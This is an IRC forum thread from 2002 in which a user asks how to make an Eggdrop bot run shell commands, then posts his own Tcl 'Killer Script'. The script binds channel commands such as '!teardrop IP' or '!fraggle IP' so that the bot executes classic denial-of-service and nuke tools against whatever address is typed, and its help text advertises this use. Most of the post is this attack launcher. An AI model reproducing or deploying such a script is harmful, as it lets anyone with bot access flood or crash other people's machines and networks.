Srodne teme
20.04.2001. Eggdrop sitnice...
05.05.2001. eggdrop ****
22.05.2002. Iko cuo za?
18.12.2006. eggdrop
09.09.2002. TCL
27.09.2001. TCL skripta
03.05.2002. LUGY: TCL nekada i sada
04.12.2003. Tcl-kviz
14.08.2005. POTREBNA POMOC sa eggdrop botom!!!!
Navigacija
Lista poslednjih: 16, 32, 64, 128 poruka.

Eggdrop ...TCL

[es] :: Instant Messaging :: IRC :: Eggdrop ...TCL

[ Pregleda: 5208 | Odgovora: 1 ] > FB > Twit

Postavi temu Odgovori

Autor

Pretraga teme: Traži
Markiranje Štampanje RSS

liban0n
coder4u.blogspot.com

Član broj: 2731
Poruke: 206
*.iskon.hr



Profil

icon Eggdrop ...TCL23.07.2002. u 15:37 - pre 225 meseci
Ovako htio bi se zezati malko s TCLom i treba mi pomoc.Uglavnom skripta bi bila za eggdropa
na nacin da neko na kanalu napravi !start nick
i da eggdrop executa nesto u shelu, znaci na tu naredbu izvrsi naredbu u shellu!
Jeli moze iko dati pomoc ili makar malko mi pomoci biop bi jako zahvalan!!

Hvala unaprjed!!
---------------------------------
Blog of mine http://coder4u.blogspot.com/
 
Odgovor na temu

liban0n
coder4u.blogspot.com

Član broj: 2731
Poruke: 206
*.iskon.hr



Profil

icon Re: Eggdrop ...TCL15.08.2002. u 15:05 - pre 224 meseci
Da i tako cekajuci odlucio sam sam krenuti da vidim kako ce ispasti!Uglavnom sintaksa na botu je .tcl exec <progy> a za ostalo sam se nacackao dok nije proradilo evo dio koda ko zeli dobiti cijelu
here it goes :

bind pub n !teardrop teardrop_ip
bind pub n !boink boink_ip
bind pub n !octopus octopus_ip
bind pub n !bonk bonk_ip
bind pub n !dnsa dnsa_ip
bind pub n !fraggle fraggle_ip
bind pub n !killwin killwin_ip
bind pub n !opentar opentear_ip
bind pub n !papa papa_ip
bind pub n !pingf pingf_ip
bind pub n !trash trash_ip
bind pub n !help
bind pub n !killer killer_ip

# Pocetak
set _owner_ "LoLeK aka liban0n"

putlog "Killer Script by : $_owner_"


# teardrop
proc teardrop_ip {nick uhost hand channel arg} {
global teardrop symbol
exec teardrop $arg
return 0
}

# boink
proc boink_ip {nick uhost hand channel arg} {
global boink symbol
exec boink $arg
return 0
}
# octopus
proc octopus_ip {nick uhost hand channel arg} {
global octopus symbol
exec octopus $arg
return 0
}
# bonk
proc bonk_ip {nick uhost hand channel arg} {
global bonk symbol
exec bonk $arg
return 0
}
# dnsa
proc dnsa_ip {nick uhost hand channel arg} {
global dnsa symbol
exec dnsa $arg
return 0
}
# fraggle
proc fraggle_ip {nick uhost hand channel arg} {
global fraggle symbol
exec fraggle $arg
return 0
}
# killwin
proc killwin_ip {nick uhost hand channel arg} {
global killwin symbol
exec killwin $arg
return 0
}
# opentear
proc opentear_ip {nick uhost hand channel arg} {
global opentear symbol
exec opentear $arg
return 0
}
# papa
proc papa_ip {nick uhost hand channel arg} {
global papa symbol
exec papa $arg
return 0
}

# pingf
proc pingf_ip {nick uhost hand channel arg} {
global pingf symbol
exec pingf $arg
return 0
}

# trash
proc trash_ip {nick uhost hand channel arg} {
global trash symbol
exec trash $arg
return 0
}

# killer
proc killer_ip {nick uhost hand channel arg} {
global killer symbol
exec killer $arg
return 0
}



# help
proc pub_help {nick uhost hand channel arg} {
global help symbol
if {$arg == "" || [llength $arg] > 1} {
putserv "NOTICE $nick : Programi na raspolaganju:"
putserv "NOTICE $nick : bonk, boink, teardrop, octopus, dnsa, pingf, killwin, papa "
putserv "NOTICE $nick : trash, opentear, killer"
putserv "NOTICE $nick : Program se pokrece sintaksom: !program IP"
putserv "NOTICE $nick : Primjer : !teardrop 123.123.123.123"
putserv "NOTICE $nick : Uzivajte u skripti :)"
putserv "NOTICE $nick : Samo owneri mogu je pokretati:PPPP"
return 1
}
}
putlog "\002KiLLeR ScRipT\002 v1.0.1 by liban0n is now [email protected]"

Eto :))Glavno da radi :))
---------------------------------
Blog of mine http://coder4u.blogspot.com/
 
Odgovor na temu

[es] :: Instant Messaging :: IRC :: Eggdrop ...TCL

[ Pregleda: 5208 | Odgovora: 1 ] > FB > Twit

Postavi temu Odgovori

Srodne teme
20.04.2001. Eggdrop sitnice...
05.05.2001. eggdrop ****
22.05.2002. Iko cuo za?
18.12.2006. eggdrop
09.09.2002. TCL
27.09.2001. TCL skripta
03.05.2002. LUGY: TCL nekada i sada
04.12.2003. Tcl-kviz
14.08.2005. POTREBNA POMOC sa eggdrop botom!!!!
Navigacija
Lista poslednjih: 16, 32, 64, 128 poruka.